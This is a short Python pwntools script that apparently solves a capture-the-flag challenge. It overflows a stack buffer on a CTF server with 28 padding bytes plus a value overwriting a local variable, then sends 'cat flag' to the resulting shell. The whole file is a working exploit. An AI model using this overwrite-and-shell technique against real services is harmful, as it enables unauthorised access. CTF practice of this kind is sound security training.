测试

from pwn import remote


HOST = "nc1.ctfplus.cn"
PORT = 34649


def main():
    io = remote(HOST, PORT)
    io.recvuntil(b"Enter your input: ")

    # buffer is rbp-0x20..rbp-1 and target is the last 4 bytes at rbp-4
    payload = b"A" * 28 + b"\x14\x45\x11"
    io.sendline(payload)

    print(io.recvline(timeout=2).decode("latin-1"), end="")
    print(io.recvline(timeout=2).decode(), end="")
    print(io.recvline(timeout=2).decode(), end="")

    io.sendline(b"cat flag")
    print(io.recvline(timeout=2).decode(), end="")

    io.close()


if __name__ == "__main__":
    main()